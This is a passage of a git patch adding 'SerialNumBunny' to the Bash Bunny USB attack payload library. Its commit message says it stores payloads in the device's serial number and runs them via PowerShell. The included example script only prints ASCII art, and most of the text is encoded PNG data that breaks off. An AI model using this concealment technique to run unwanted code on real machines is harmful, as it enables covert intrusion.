From 3f21e4d7faa04adbf5e8f23961d5610e519567b6 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 25 Aug 2023 13:47:33 +0200 Subject: [PATCH] Created SerialNumBunny Provide payloads in the bunny serial number and execute them via PowerShell. --- .../library/execution/SerialNumBunny/1.PS1 | 15 ++++++ .../SerialNumBunny/SerialNumBunny.png | Bin 0 -> 31303 bytes .../execution/SerialNumBunny/payload.txt | 46 ++++++++++++++++++ .../execution/SerialNumBunny/readme.md | 18 +++++++ 4 files changed, 79 insertions(+) create mode 100644 payloads/library/execution/SerialNumBunny/1.PS1 create mode 100644 payloads/library/execution/SerialNumBunny/SerialNumBunny.png create mode 100644 payloads/library/execution/SerialNumBunny/payload.txt create mode 100644 payloads/library/execution/SerialNumBunny/readme.md diff --git a/payloads/library/execution/SerialNumBunny/1.PS1 b/payloads/library/execution/SerialNumBunny/1.PS1 new file mode 100644 index 00000000..0ed38dc7 --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/1.PS1 @@ -0,0 +1,15 @@ +#This is just an example script, you may want to replace it with a script of your choice +$Picture=@" + + _____ _____ _____ _____ _____ _____ _____ _____ __ __ + (\___/) | __ || _ || __|| | | | __ || | || | || | || | | + (='.'=) | __ -|| ||__ || | | __ -|| | || | | || | | ||_ _| + (")_(") |_____||__|__||_____||__|__| |_____||_____||_|___||_|___| |_| + Bash Bunny by Hak5 USB Attack/Automation Platform + +"@ + +Sleep -s 5 +Write-Host -ForegroundColor red "$Picture" +Sleep -s 2 +Write-Host -ForegroundColor green "SerialNumBunny by 0iphor13" \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/SerialNumBunny.png b/payloads/library/execution/SerialNumBunny/SerialNumBunny.png new file mode 100644 index 0000000000000000000000000000000000000000..f03a1d7732565fb2b7db4091dd67bd130785617e GIT binary patch literal 31303 zcmcG#WmH^Uv+vtT0>MKdxI=JvcXxLQ?gS4m0YZYi1b26Lg1bX-r}4(U;WW>a_w0S| z9s9!>of`L=G_5L>8yNobl_(7Mah zK^Z!Geb+k7viFaUp8mw*1(Ze`v!Q2IQp@SB2Do5ZFYmEOH=(arKn_C*<_X{b{X})o64`$~ z?55=<_MiLMzwN1!G^vIC0kI3QKQRD45b_HD_pJUn{XWG5CciLNbR?od|eMv!J7tpEVPJ1SykIP;j1=inZET}=o z<6xq*v$xNvi>I3yIskz>S-AGkAD`~-^78T&6*6x)g)-|Ujr+HwCVbvXsia8ok!2`5 z8@HW|WJ11b$V+gw)ji4O-obm6l|2?XA4d0GkdyaWras-8U+}QzSR~#!cyQ}3=Evin zFtLZdPeJH&V>xFsiC09g)6E&syuxc!i+cClLC-)&Lh#)5_l^!8fiEWvbB9uEk3;8CnH}sN zwl)n~EaK=)zn}m)xj8~;*J@YyQ_6>ozfPdTQ*}`@QHh&{MKp19v8Xjn>05BGcyz8v z#XqI-d;dWKOoe@v28?z`{Kt`6N(mAR2zj}OT-Cy{h?%u}d@PjLo1p`ztB(gYuHL{* zJ5>IsK@bA))2Pqj+LKhHC_1X-O7l%Vus@eWS51u#01y+Tz&$#76R^!#rI${FY@G{a z)Pc<@%=t!OUngW#8?m&_6{Y@nuqbiq;ou*io+>CRW)cxi)E>ek*+s=T;zZ8(`5q}^ zj%_=&m_L41McY%K#F|3dhP_M?BC5MouH z~ zPh~bo?M4j_ak!Ys0A=NdH3e3{Tr(R5ra!KrRkPGwuf&95U0!Gol!P5eiw>??v*r7I z0Zbpl4D^6}XN)fMkx?}|+-r^!<>(q?9|VB^?(ybjE)*;wSPcVS%!L^65wV_(A>B!G zqLEO5s9mbs80;*hPHfkn4wU3~n~^2{cQwftG6GN1E?7BzQpnlH0@V*lJ|Ez0ZH7{k zo_5^S5ZiR;wrf_{9141|aBR*+6q9?P4tkM$fGQ0Q@R~TbA00f~;P|X-^ChHhmDO~& z_tg>Uybp`1N(`|0T(B0Ih2wXB12supKfBbmU%-5y)0Zb2RAEztO%voq1HLuxqTlsutF$s#J>R<W5zbz#dXo243=Q^sz${((-9;qQgGQEV`PBoNO0 zfO)t72Rl>+>mFXCX0U_&fjY(+nxHb~0SWf+@cx>tG&r7d6UT4JZ9}Jzlubqjx9B*r2M#Twdv2U z-*(2>mp}{gBi4n=30Pf+$~R(HQH41ewDXWZOU@^4quw4*g&Wk1m7^)c;H-8w4eD52 zvwrdP@v2lES?sCEBdQavr1Cjc${ubbr+
-4P#?tKPkkCf>Yw- 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 z M`TmP%QuZ)VTY5pXhkN^n@5;RzFcPGI;xHCv#@WCA>z!M0;f(}jymciXMKyY^* zBshZ)&aij#{NJ;?XU~4!vuDrVFL$JGcXd^DbyfYk`|20uKpl2ntd03ijC;wB;w*j& z-st{K3W{C!=Aa$vA1adr6J7zcOw07#=>~63-#_yH4#0xzkIoZzb=3r;`SiXo&fc+R zBq=`JSIo0Cc57;222xL(bSYW>ULq`O!6o2_SW7y0LyAvu{qu9z>jIv8OY~!HyHLv- zGmt*>RDxkP0x25>D1DMq?e==VjFx_c-|S`gWPXf(A;A9*7S=qu?-ARENyKFWXtRMS zg|}$n`@tpMll@Sqj2@E0n;;rqNF&jFUH<=ocwviPo&MSVo4wi<++Xv+r%ot&o-*+50W;i5$B-g;?Xj4s_&bcp1-{flW@pFZE)?>J)IV(rK= ziOiRd@b~Y>*KKBY4iSQu<%^noU5_}(NqVCmdN2s?JCE8XM(<1wD3h&wyygB(*&YAB zbyx?QAH_yV{qDLU0g>?V74IEMR;0FD089{Zk2&M!$YLYDRV;t2p#KT(dQ98g=$nPU z@3;MjtZN!;v3|bi-jj<$N&%n@U69lN%zFPix$31R~&i@1O&x zw9m(%O(^P??A4amj!!xaxk_2rpzOl9ecClug~w;+hZ@mCfOh!PIc_TK59e&ZYlwXQ zUZW!%KbOB zki2PSbOH9L{?{%(%5Gc1A2r9~y&>P%YH~0km{dy@okqETjfL_S*S0yZ9SSlDIk$QY zERA;CKsRQiU=9;}N1Zxdi(hk+?{FIzSTW>+)#h-d-_fI*Z1umwj7mKG~Yx z(vpIKWq8o;jl7g_hNM-{AgWD*y4JB1d&an4#Yw7lIC`isM_O?*hiq#*C;v;qa_i#! z(IDHW@F`<^pPib4Qm=MdtR}F*BOT^fEBuCwGk{dHT8J4?|96OjX<9etl1NgHxUBjK5rVehhlWF6;0pZzG@o{)r*7_X1pJw%$1zy6>F?QxU^t zQ8NqWPTMT@-QIK2p?W4~Gr>>E)BhfpsA)_SJ4JL?cB!i;D z*4b%8N8hSS*Gd0D>(SY~qbnKR)JOCx>(C(2vo%^E(QXX(tvAqi=cwSnvAfp_81Vcy z#lBjC(0>)BEs`}`-( z@h+10z8zH5&-V0KHRoZu>k)4prP1m7W4oAzE#s?+=zdY#ABHf8#qu|RgmX!}=S{#7 zYv!M{`UKs$z>Dt32@m8sj<)N=A}v)VOL79bt^k{iL7_MV)`fbb^Qj~oO`=!x-i`IG z5#GbPWA0ctmt}kwZrulFBe^qns+o!|D7rB;_>{BM^A66--g#A`33vjRdz>#ua 